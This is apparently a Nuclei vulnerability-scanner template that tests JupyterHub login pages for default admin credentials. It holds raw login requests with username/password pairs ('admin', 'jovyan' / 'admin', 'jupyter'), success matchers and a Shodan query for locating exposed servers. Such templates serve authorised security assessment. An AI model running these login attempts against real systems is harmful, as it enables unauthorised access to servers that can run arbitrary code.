id: jupyterhub-default-login

info:
  name: Jupyterhub - Default Admin Discovery
  author: For3stCo1d
  severity: high
  description: Jupyterhub default admin credentials were discovered.
  reference:
    - https://github.com/jupyterhub/jupyterhub
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:jupyter:jupyterhub:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.title:"JupyterHub"
    product: jupyterhub
    vendor: jupyter
  tags: jupyterhub,default-login

http:
  - raw:
      - |
        POST /hub/login?next= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{user}}&password={{pass}}

    attack: pitchfork
    payloads:
      user:
        - admin
        - jovyan
      pass:
        - admin
        - jupyter

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(tolower(header), 'jupyterhub-session-id=')
          - contains(tolower(header), 'jupyterhub-hub-login=')
        condition: and

      - type: status
        status:
          - 302
# digest: 490a0046304402207129592bec8909047b32944c636277075cf81a656e564b22d7ce235024ba26cc0220291152a8cc0eeb83829874f75f0547908506b970ea3ca226f91f12f1707e5904:922c64590222798bb761d5b6d8e72950